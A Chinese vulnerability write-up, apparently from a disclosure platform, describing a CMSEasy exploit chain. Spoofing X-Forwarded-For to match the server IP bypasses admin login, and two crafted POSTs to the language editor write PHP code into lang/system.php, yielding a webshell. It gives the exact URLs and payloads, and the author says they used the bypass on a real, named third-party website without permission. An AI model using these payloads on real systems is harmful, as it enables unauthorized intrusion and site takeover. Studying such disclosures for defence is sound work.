### 简要描述: 这是一个很长的故事,还请客官慢慢看来。(看在我这么晚还在挖洞写文章的份上,求闪电呀!) 版本:2014-06-05 ### 详细说明: 0x01 首先,从一个后台未授权访问开始讲起。 看到文件/lib/admin/admin.php ``` if (!defined('ROOT')) exit('Can\'t Access !'); abstract class admin extends act { function __construct() { if (ADMIN_DIR!=config::get('admin_dir')) { config::modify(array('admin_dir'=>ADMIN_DIR)); front::flash('后台目录更改成功!'); } front::$rewrite=false; parent::__construct(); $servip = gethostbyname($_SERVER['SERVER_NAME']); //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return; if($servip==front::ip()&&front::get('ishtml')==1) return; $this->check_admin(); } function check_admin() { if (cookie::get('login_username')&&cookie::get('login_password')) { $user=new user(); $user=$user->getrow(array('username'=>cookie::get('login_username'))); $roles = session::get('roles'); if ($roles &&...
### 简要描述: 这是一个很长的故事,还请客官慢慢看来。(看在我这么晚还在挖洞写文章的份上,求闪电呀!) 版本:2014-06-05 ### 详细说明: 0x01 首先,从一个后台未授权访问开始讲起。 看到文件/lib/admin/admin.php ``` if (!defined('ROOT')) exit('Can\'t Access !'); abstract class admin extends act { function __construct() { if (ADMIN_DIR!=config::get('admin_dir')) { config::modify(array('admin_dir'=>ADMIN_DIR)); front::flash('后台目录更改成功!'); } front::$rewrite=false; parent::__construct(); $servip = gethostbyname($_SERVER['SERVER_NAME']); //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return; if($servip==front::ip()&&front::get('ishtml')==1) return; $this->check_admin(); } function check_admin() { if (cookie::get('login_username')&&cookie::get('login_password')) { $user=new user(); $user=$user->getrow(array('username'=>cookie::get('login_username'))); $roles = session::get('roles'); if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) { $this->view->user=$user; front::$user=$user; }else{ $user=null; } } if (!isset($user)||!is_array($user)) { front::redirect(url::create('admin/login')); } } } ``` 这是一个抽象类,是作为所有后台类的父类,它的构造函数里有验证管理员是否登录的代码,也就是check_admin这个函数。 但是我们看到这两句话: if($servip==front::ip()&&front::get('ishtml')==1) return; $this->check_admin(); 大概的意思是,如果当前ip等于$servip(服务器IP),而且ishtml==1的话就return,也就没有执行check_admin函数。 那么,cmseasy是怎么取当前IP的? 很经典的函数: ``` static function ip() { if ($_SERVER['HTTP_CLIENT_IP']) { $onlineip = $_SERVER['HTTP_CLIENT_IP']; } elseif ($_SERVER['HTTP_X_FORWARDED_FOR']) { $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif ($_SERVER['REMOTE_ADDR']) { $onlineip = $_SERVER['REMOTE_ADDR']; } else { $onlineip = $_SERVER['REMOTE_ADDR']; } if(config::get('ipcheck_enable')){ if(!preg_match('/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/', $onlineip)){ exit('来源非法'); } } return $onlineip; } ``` 这个函数里HTTP_X_FORWARDED_FOR是可以伪造的! 所以我们只需要伪造一个IP地址,和服务器的IP相同,就能绕过后台登录检查,直接进入后台。 官方演示站把前后台分离了,不方便演示。我就随便百度上找一个站吧。 就它http://www.shuzisys.com/了,先ping一下看到ip是112.125.202.52,然后用任何方法将IP伪造成112.125.202.52: [<img src="https://images.seebug.org/upload/201407/04033647cb52575239ef233abb798e08424a0683.jpg" alt="002.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/04033647cb52575239ef233abb798e08424a0683.jpg) 然后带上get参数ishtml=1访问后台即可: [<img src="https://images.seebug.org/upload/201407/0403371501e03aa347633213ea3459ec367eda54.jpg" alt="003.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0403371501e03aa347633213ea3459ec367eda54.jpg) [<img src="https://images.seebug.org/upload/201407/04033728e1f660ce617c80fb5dc4ddc8eb00701c.jpg" alt="004.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/04033728e1f660ce617c80fb5dc4ddc8eb00701c.jpg) 不过但是,cmseasy后台并不是只验证了你是否登录,还有很多地方调用了chkpw函数验证你的权限,这个是没法绕过的,所以很多后台功能用不了。 不过已经可以看到很多敏感信息了,比如说加密cookie字符串,通过这个字符串是可以注入的,但这不是今天的重点。今天是要getshell的。 0x02 丧心病狂地找一些没有验证权限的函数 很少有函数没有调用chkpw验证权限,可以说基本所有设置、修改网站信息的地方都验证了权限。 但还是被我找到一处,设置语言的函数,/lib/admin/language_admin.php 第42行: ``` function edit_action() { $path=ROOT.'/lang/'.config::get('lang_type').'/system.php'; $tipspath=ROOT.'/lang/cn/system.php'; if (front::post('submit')) { $content=file_get_contents($path); $to_delete_items=front::$post['to_delete_items']; unset(front::$post['to_delete_items']); foreach (front::$post as $key=>$val) { preg_match_all("/'".$key."'=>'(.*?)',/",$content,$out); if (is_array($to_delete_items) && in_array($key,$to_delete_items)) $content=str_replace($out[0][0],'',$content); else $content=str_replace($out[1][0],$val,$content); } file_put_contents($path,$content); if ($_GET['site'] != 'default') { $ftp=new nobftp(); $ftpconfig=config::get('website'); $ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']); $ftperror=$ftp->returnerror(); if ($ftperror) { exit($ftperror); } else { $ftp->nobchdir($ftpconfig['ftppath']); $ftp->nobput($ftpconfig['ftppath'].'/lang/'.config::get('lang_type').'/system.php',$path); } } unset($content); event::log('修改语言包','成功'); echo '<script type="text/javascript">alert("操作完成!");window.location.href="'.url('language/edit',true).'";</script>'; } $content=include($path); $tips=include($tipspath); $this->view->tips=$tips; //分页 $limit = 30; if(!front::get('page')) $page = 1; else $page = front::get('page'); $total = ceil(count($content)/$limit); if($page < 1) $page = 1; if($page > $total) $page = $total; $start = ($page-1) * $limit; $end = $start+$limit-1; $tmp = range($start,$end); $list_content_arr = array(); $i = 0; foreach($content as $k => $v){ if(in_array($i++,$tmp)) $list_content_arr[$k] = $v; } $this->view->sys_lang=$list_content_arr; $this->view->link_str = listPage($total,$limit,$page); } ``` 这个函数没有调用chkpw,直接访问看看: [<img src="https://images.seebug.org/upload/201407/040344449ecd26951fdd78efe2276484d0663682.jpg" alt="005.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/040344449ecd26951fdd78efe2276484d0663682.jpg) 确实可以访问。那么我们仔细看看代码,关键就是我列出的这块: ``` $path=ROOT.'/lang/'.config::get('lang_type').'/system.php'; $tipspath=ROOT.'/lang/cn/system.php'; if (front::post('submit')) { $content=file_get_contents($path); $to_delete_items=front::$post['to_delete_items']; unset(front::$post['to_delete_items']); foreach (front::$post as $key=>$val) { preg_match_all("/'".$key."'=>'(.*?)',/",$content,$out); if (is_array($to_delete_items) && in_array($key,$to_delete_items)) $content=str_replace($out[0][0],'',$content); else $content=str_replace($out[1][0],$val,$content); } file_put_contents($path,$content); ``` 看到file_put_contents感觉可以写文件,但怎么利用呢? 这个函数思路大概是,先从/lang/cn/system.php中读出一个字符串,并循环遍历$_POST,正则匹配出'$key'=>'(.*?)',这样的字符串,然后判断是否是删除,如果是删除则把匹配出来的替换成空,如果不是删除则把匹配到的(.*?)替换成$value。 所以,我自然地想到,匹配到的(.*?)替换成$value,只要$value能闭合单引号,就能写shell进system.php这个文件里去了。 但偏偏因为全局过滤注入,所有$_GET都被addslashes了,不可能逃逸出单引号的限制。 0x03 一次不行,二次呢? 这时我关注了前面这个if语句:if (is_array($to_delete_items) && in_array($key,$to_delete_items)),如果$to_delete_items是数组,而且$key在这个数组中,则用str_replace将匹配出的内容替换成空。 $to_delete_items从哪里来?从POST中来,也就是说是可控的。所以我们可以删除某次匹配的数据。 这时我就会想,第一次我注入了一些数据,如果我再POST一次,能把第一次注入的多余的一些数据删除掉(比如删除单引号,或转义符),那我的webshell不就可以逃逸出单引号了吗? 而且,注意,这里的正则用了非贪婪模式,也就是说匹配到第一个'就停止。 所以,我举个简单的例子,比如我第一次输入的数据是a=1111',phpinfo() 保存在文件中就是 ``` 'a'=>'1111\',phpinfo()', ``` 那么第二次我再次匹配到a,因为非贪婪模式,这时匹配到第一个'为止,也就是匹配出这些内容: ``` 'a'=>'1111\', ``` 如果第二次传入的参数是to_delete_items[]=a,那么就会删除我匹配到的,剩下什么?剩下phpinfo()' phpinfo()成功逃逸出来。做一些处理,让这个文件不出错,就能完美getshell! ### 漏洞证明: 说干就干,首先本地搭建好了最新版cmseasy。 用firefox插件X-Forwarded-For Header修改IP为127.0.0.1(本地服务器地址)。 然后访问http://localhost/easy/index.php?case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1,发现越权访问成功: [<img src="https://images.seebug.org/upload/201407/040344449ecd26951fdd78efe2276484d0663682.jpg" alt="005.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/040344449ecd26951fdd78efe2276484d0663682.jpg) 然后就向其POST第一个数据包,内容是: ``` submit=1&send_email=1111',phpinfo());array(1,//' ``` [<img src="https://images.seebug.org/upload/201407/040405112c520407a9c9c5bf139b6c659d87d945.jpg" alt="006.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/040405112c520407a9c9c5bf139b6c659d87d945.jpg) 这是查看system.php发现send_email这一项变成了这样: [<img src="https://images.seebug.org/upload/201407/0404061981cac7e9942df119238026548e86dcfe.jpg" alt="007.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0404061981cac7e9942df119238026548e86dcfe.jpg) 好,我们再来POST第二次: ``` to_delete_items[]=send_email&submit=1&send_email=1 ``` [<img src="https://images.seebug.org/upload/201407/04040722664cae6d4804fb7e78c51a0a918e6ad9.jpg" alt="008.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/04040722664cae6d4804fb7e78c51a0a918e6ad9.jpg) 这时再看到system.php发现已经成这样了: [<img src="https://images.seebug.org/upload/201407/0404083884f7991292f54728a3100421e2f125f5.jpg" alt="009.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/0404083884f7991292f54728a3100421e2f125f5.jpg) 访问发现getshell完成: [<img src="https://images.seebug.org/upload/201407/04040902814979a7f40efbb67726504060c902b0.jpg" alt="0010.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/04040902814979a7f40efbb67726504060c902b0.jpg)